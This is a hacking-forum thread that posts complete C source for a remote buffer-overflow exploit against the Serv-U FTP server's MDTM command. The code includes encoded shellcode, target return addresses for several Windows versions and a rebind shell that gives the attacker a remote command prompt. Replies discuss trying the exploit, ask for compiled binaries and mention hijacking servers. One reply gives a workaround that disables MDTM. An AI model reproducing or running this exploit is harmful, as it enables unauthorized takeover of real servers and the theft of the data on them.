hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

pita
CODE

/* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* BUG find by bkbll (bkbll@cnhonker.com), cool! :ppPPppPPPpp :D
*
* code by Sam and  2004/01/07
*      <chen_xiaobo@venustech.com.cn>
*                     <Sam@0x557.org>
*                    
*
* Revise History:
*      2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port.
*      2004/01/09 connect back shellcode added :)
*      2004/01/08 21:04 upgrade now :), we put shellcode in file parameter
*       we can attack pacthed serv-U;PPPp by airsupply
*  2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now
*      :D thx airsupply
*
* Compile: gcc -o ex_servu ex_servu.c
*
* how works?
* [root@core exp]# ./sv -h 192.168.10.119 -t 3
* Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit
* bug find by bkbll (bkbll@cnhonker.com) code by Sam (Sam@0x557.org)
*
* # Connecting......
*  [+] Connected.
*  [*] USER ftp .
*  [*] 10 bytes send.
*  [*] PASS sst@SERV-u .
*  [*] 17 bytes send.
*  [+] login success .
*  [+] remote version: Serv-U v4.x with Windows XP EN SP1
*  [+] trigger vulnerability !
*   [+] 1027 bytes overflow strings sent!
*  [+] successed!!
*
*
*  Microsoft Windows XP [Version 5.1.2600]
*  (C) Copyright 1985-2001 Microsoft Corp.
*
*  [Sam Chen@SAM C:\]#
*
*
* some thanks/greets to:
* bkbll (he find this bug :D), airsupply, kkqq, icbm
* and everyone else who's KNOW SST;P
* http://0x557.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define VER "v5.0"

#define clearbit(buff)          bzero(buff, sizeof (buff));
#define padding(buff, a)        memset(buff, a, sizeof (buff));

#define MAX_LEN         2048
#define MAX_NUM         4

int     x = 0, port = 21, shellport;
char    pass[20], user[20];

struct archs {
       char            *desc;
       unsigned int    magic;

}architectures[] = {


       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K CN",   //winmm.dll
               0x77535985

       },
        {
               "Serv-U v3.x/4.x/5.x  with Windows 2K BIG5 version",   //winmm.dll
                0x77531790

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K EN",
               0x77575985

       },

       {
               "Serv-U v3.x/4.x/5.x  with Windows XP CN SP1",
               0x76b12f69

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows XP EN SP1",
               0x76b42a3a

}

};

char decoder [] =
/* 36 bytes cool decoder by airsupply :) */

"\x90\x90\x90\x5E\x5F\x5B\xBE\x52\x52\x49\x41\x46\xBF\x52\x52\x31"
"\x41\x47\x43\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7"
"\xFF\xD3\x90\x90";

/* fork + rebind shellcode  by airsupply (one way shellcode) */
char    shellcode [] =

"\x53\x52\x49\x41"

/*port offset 120 + 4*/
"\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12\xD9\x85\x12\x99\x12\xD9"
"\x91\x18\x75\x19\x98\x99\x99\x12\x65\x12\x76\x32\x70\x8B\x9B\x99"
"\x99\xC7\xAA\x50\x28\x90\x66\xEE\x65\x71\xB9\x98\x99\x99\xF1\xF5"
"\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCC"
"\x9D\x32\xAA\x50\x28\x9C\x66\xEE\x65\x71\x99\x98\x99\x99\x12\x6C"
"\x71\x94\x98\x99\x99\xAA\x66\x18\x75\x09\x98\x99\x99\xCD\xF1\x98"
"\x98\x99\x99\x66\xCF\xB5\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF"
"\xA9\x12\x41\xCE\xCE\xF1\x9B\x99\x8C\x5B\x12\x55\xCA\xC8\xF3\x8F"
"\xC8\xCA\x66\xCF\xAD\xC0\xC2\x1C\x59\xEC\x68\xCE\xCA\x66\xCF\xA1"
"\xCE\xC8\xCA\x66\xCF\xA5\x12\x49\x10\x1F\xD9\x98\x99\x99\xF1\xFC"
"\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98\x99\x99\x1A\x75"
"\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64\x5F\xDD"
"\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD\xD1\x10"
"\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\x14\x27\xDD\x98\x99"
"\x99\xCE\xC9\xC8\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\x2F\xA9\x98\x99"
"\x99\xC8\x66\xCF\x91\xAA\x59\xD1\xC9\x66\xCF\x95\xCA\xCC\xCF\xCE"
"\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81"
"\x12\xC3\xB9\x9A\x44\x7A\xA9\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65"
"\xAA\x59\x35\xA3\x79\xED\x9E\x58\x56\x9E\x9A\x61\x72\x6B\xA2\xE5"
"\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85"
"\x9A\x44\x12\x9D\x12\x9A\x5C\xC6\xC7\xC4\xC2\x5B\x9D\x99\xC8\x66"
"\xED\xBD\x91\x34\xC9\x71\x3B\x66\x66\x66\x1A\x5D\x9D\xC0\x32\x7B"
"\x74\x5A\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98"
"\x99\x99\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10"
"\xDD\xBD\xD1\x10\xDD\xBD\xD5\x10\xDD\xBD\xC9\x14\xDD\xBD\x89\x14"
"\x27\xDD\x98\x99\x99\xCE\xC9\xC8\xC8\xF3\x9D\xC8\xC8\xC8\x66\x2F"
"\xA9\x98\x99\x99\xC8\x66\xCF\x91\x18\x75\x99\x9D\x99\x99\xF1\x9E"
"\x99\x98\x99\xCD\x66\x2F\xD1\x98\x99\x99\x66\xCF\x89\xF3\xD9\xF1"
"\x99\x89\x99\x99\xF1\x99\xC9\x99\x99\xF3\x99\x66\x2F\xDD\x98\x99"
"\x99\x66\xCF\x8D\x10\x1D\xBD\x21\x99\x99\x99\x10\x1D\xBD\x2D\x99"
"\x99\x99\x12\x15\xBD\xF9\x9D\x99\x99\x5E\xD8\x62\x09\x09\x09\x09"
"\x5F\xD8\x66\x09\x1A\x70\xCC\xF3\x99\xF1\x99\x89\x99\x99\xC8\xC9"
"\x66\x2F\xDD\x98\x99\x99\x66\xCF\x81\xCD\x66\x2F\xD1\x98\x99\x99"
"\x66\xCF\x85\x66\x2F\xD1\x98\x99\x99\x66\xCF\xB9\xAA\x59\xD1\xC9"
"\x66\xCF\x95\x71\x70\x64\x66\x66\xAB\xED\x08\x95\x50\x25\x3F\xF2"
"\x16\x6B\x81\xF8\x51\xCE\xD6\x88\x68\xE2\x05\x76\xC1\x96\xD8\x0E"
"\x51\xCE\xD6\x8E\x4F\x15\x07\x6A\xFA\x10\x48\xD6\xA4\xF3\x2D\x19"
"\xB4\xAB\xE1\x47\xFD\x89\x3E\x44\x95\x06\x4A\xD2\x28\x87\x0E\x98"
"\x06\x06\x06\x06"
"\x53\x52\x31\x41";


/* new:
* tcp connect with no block socket, host to ip.
* millisecond timeout, it's will be fast.
*;D
* 2003/06/23 add by Sam
*/
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
       int                     sock,
                               flag,
                               pe = 0;
       size_t                  pe_len;
       struct timeval          tv;
       struct sockaddr_in      addr;
       struct hostent*         hp = NULL;
       fd_set                  rset;

       // reslov hosts
       hp = gethostbyname (host);
       if (NULL == hp) {
               perror ("tcpConnect:gethostbyname\n");
               return -1;
       }

       sock = socket (AF_INET, SOCK_STREAM, 0);
       if (-1 == sock) {
               perror ("tcpConnect:socket\n");
               return -1;
       }

       addr.sin_addr = *(struct in_addr *) hp->h_addr;
       addr.sin_family = AF_INET;
       addr.sin_port = htons (port);

       /* set socket no block
        */
       flag = fcntl (sock, F_GETFL);
       if (-1 == flag) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       flag |= O_NONBLOCK;
       if (fcntl (sock, F_SETFL, flag) < 0) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       if (connect (sock, (const struct sockaddr *) &addr,
                           sizeof(addr)) < 0 &&
           errno != EINPROGRESS) {
               perror ("tcpConnect:connect\n");
               close (sock);
               return -1;
       }

       /* set connect timeout
        * use millisecond
        */
       tv.tv_sec = timeout/1000;
       tv.tv_usec = timeout%1000;

       FD_ZERO (&rset);
       FD_SET (sock, &rset);

       if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
//                perror ("tcpConnect:select");
               close (sock);
               return -1;
       }

       pe_len = sizeof (pe);

       if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
               perror ("tcpConnect:getsockopt\n");
               close (sock);
               return -1;
       }

       if (pe != 0) {
               errno = pe;
               close (sock);
               return -1;
       }

       if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       pe = 1;
       pe_len = sizeof (pe);

       if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
               perror ("tcpConnect:setsockopt\n");
               close (sock);
               return -1;
       }

       return sock;
}

/* rip code, from hsj */
int sh (int in, int out, int s)
{
       char    sbuf[128], rbuf[128];
       int     i,
               ti, fd_cnt,
               ret=0, slen=0, rlen=0;
       fd_set  rd, wr;

       fd_cnt = in > out ? in : out;
       fd_cnt = s > fd_cnt ? s : fd_cnt;
       fd_cnt ++;

       for (;;) {
               FD_ZERO (&rd);
               if (rlen < sizeof (rbuf))
                       FD_SET (s, &rd);
               if (slen < sizeof (sbuf))
                       FD_SET (in, &rd);

               FD_ZERO (&wr);
               if (slen)
                       FD_SET (s, &wr);
               if (rlen)
                       FD_SET (out, &wr);

               if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1))
                       break;
               if (FD_ISSET (in, &rd)) {
                       if((i = read (in, (sbuf+slen),
                       (sizeof (sbuf) - slen))) == (-1)) {
                               ret = -2;
                               break;
                       }
                       else if (i == 0) {
                               ret = -3;
                               break;
                       }
                       slen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &wr)) {
                       if ((i = write (s, sbuf, slen)) == (-1))
                               break;
                       if (i == slen)
                               slen = 0;
                       else {
                               slen -= i;
                               memmove (sbuf, sbuf + i, slen);
                       }
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &rd)) {
                       if ((i = read (s, (rbuf + rlen),
                       (sizeof (rbuf) - rlen))) <= 0)
                               break;
                       rlen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (out, &wr)) {
                       if ((i = write (out, rbuf, rlen)) == (-1))
                               break;
                       if (i == rlen)
                               rlen = 0;
                       else {
                               rlen -= i;
                               memmove (rbuf, rbuf+i, rlen);
                       }
               }
       }
       return ret;
}


int new_send (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = send (fd, buff, len, 0)) <= 0) {
               perror ("new_write");
               return -1;
       }

       return ret;

}

int new_recv (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = recv (fd, buff, len, 0)) <= 0) {
               perror ("new_recv");
               return -1;
       }

       return ret;
}

int ftp_login (char *hostName, short port, char *user, char *pass)
{
       int     ret, sock;
       char    buff[MAX_LEN];

       fprintf (stderr, "# Connecting...... \n");
       if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
               fprintf (stderr, "[-] failed. \n");
               return -1;
       }

       clearbit (buff);

       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "220")) {
               fprintf (stderr, "[-] failed. \n");
               return -1;
       }
       fprintf (stderr, "[+] Connected. \n");

       sleep (1);
       fprintf (stderr, "[*] USER %s .\n", user);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "USER %s\r\n",  user);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. \n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "331")) {
               fprintf (stderr, "[-] user failed. \n%s\n", buff);
               return -1;
       }

       fprintf (stderr, "[*] PASS %s .\n", pass);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "PASS %s\r\n", pass);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. \n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "230")) {
               fprintf (stderr, "[-] pass failed. \n%s\n", buff);
               return -1;
       }

       fprintf (stderr, "[+] login success .\n");

       return sock;

}

void do_overflow (int sock)
{
       int             ret, i;
       unsigned short newport;
       char    Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];

       clearbit (Comand);
       clearbit (rbuf);

       clearbit (chmodBuffer);
       
       for(i = 0; i < 47; i++)
        strcat(chmodBuffer, "a");
for(i = 0; i < 16; i += 8) {
        *(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
        *(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78;  //pop reg pop reg ret
}


newport = htons (shellport)^(unsigned short)0x9999;
memcpy (&shellcode[120 + 4], &newport, 2);

 strcat(chmodBuffer, decoder);
 

       fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc);

       fprintf (stderr, "[+] trigger vulnerability !\n ");
       strcpy (Comand, "MDTM 20031111111111+");
       strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
       strcat (Comand, " ");


       strcat (Comand, shellcode);
     
       strcat (Comand, "hacked_by.sst\r\n");

       ret =  new_send (sock, Comand, strlen (Comand));
       fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret);


       return;
}

/* print help messages.
* just show ya how to use.
*/
void showHELP (char *p)
{
       int     i;

       fprintf (stderr, "Usage: %s [Options] \n", p);
       fprintf (stderr, "Options:\n"
               "\t-h [remote host]\tremote host\n"
               "\t-P [server port]\tserver port\n"
               "\t-t [system type]\tchoice the system type\n"
               "\t-u [user   name]\tlogin with this username\n"
               "\t-p [pass   word]\tlogin with this passwd\n"
               "\t-d [shell  port]\trebind using this port (default: ftpd port)\n\n");


       printf ("num . description\n");
       printf ("----+-----------------------------------------------"
               "--------\n");
       for (i = 0; i <= MAX_NUM; i ++) {
               printf ("%3d | %s\n", i, architectures[i].desc);
       }
       printf ("    '\n");
       return;
}

int main (int c, char *v[])
{
       int             ch, fd, sd;
       char     *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u";
       shellport  = port;
       

       fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n"
               "bug find by bkbll (bkbll@cnhonker.net) code by Sam (Sam@0x557.org)\n\n");

       if (c < 2) {
               showHELP (v[0]);
               exit (1);
       }

       while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
               switch(ch) {
                       case 'h':
                               hostName = optarg;
                               break;
                       case 't':
                               x = atoi (optarg);
                               if (x > MAX_NUM) {
                                       printf ("[-] wtf your input?\n");
                                       exit (-1);
                               }
                               break;
                       case 'u':
                               userName = optarg;
                               break;
                       case 'p':
                               passWord = optarg;
                               break;
                       case 'P':
                        port = atoi (optarg);
                        break;
                       case 'd':
                        shellport = atoi (optarg);
                        break;
                       default:
                               showHELP (v[0]);
                               return 0;
               }
       }


       fd = ftp_login (hostName, port, userName, passWord);
       if (fd <= 0) {
               printf ("[-] can't connnect\n");
               exit (-1);
       }

       do_overflow (fd);

close (fd);
 
       sleep (3);
     
       sd = new_tcpConnect (hostName, shellport, 3000);
       if (sd <= 0) {
               printf ("[-] failed\n");
               return -1;
       }

       fprintf (stderr, "[+] successed!!\n\n\n");
       sh (0, 1, sd);

       close (sd);

       return 0;
}


R0x0r
Thanks for the code pita.. I'll try it smile.gif
Nexcess
I was really hopeing this wouldnt get out, it'll make stro stealers happy. sad.gif
OC314
>Exploit looks good, as it is for all versions of serv-u ftpd i think (3.x 4.x 5.x)

Only Hope it will work properly.
Arnie
hmm i tryed it on serv-u 3.x 4.1 and 5.0
none of'm gave me a shell ohmy.gif
Paul
Serv-u aint safe anymore :/
Arnie
QUOTE (Paul @ Feb 27 2004, 10:41 AM)
Serv-u aint safe anymore :/

is this the end of the FXP board scene? tongue.gif
Leonnetje
QUOTE (Arnie @ Feb 27 2004, 10:38 AM)
hmm i tryed it on serv-u 3.x 4.1 and 5.0
none of'm gave me a shell ohmy.gif

Can you attach the compiled version to your post or put it in the download section so everybody can take a look @ it /??


@ Nexcess:

You're completely right dude... this isn't a nice exploit but we need to know what we're dealing with..... ph34r.gif

Btw: this topic is DOUBLE POSTED !!!!
Arnie
yeah yeah all the fxp board people are blablaing about rehack etc etc, yet they all still want it for "security" related things biggrin.gif
piecejoker
^^------------------------------------------------------------------------------------^^
The new exploit that is released is very dangerous! BUT there is a workaround:

The exploit uses the MDMT command
You can simply turn this off in your serv-u admin.

Go to: domains > settings > advanced , en dan "allow MDMT command to change file date/time"

Turn that off!

Yuur serv-u server will crash, but isn't hackable anymore...

Hope you can use this......
------------------------------------------------------------------------------------

MfG ^^ only 4 the l33t Fxp´ers biggrin.gif

(filtered) all FXP Public Boards... biggrin.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.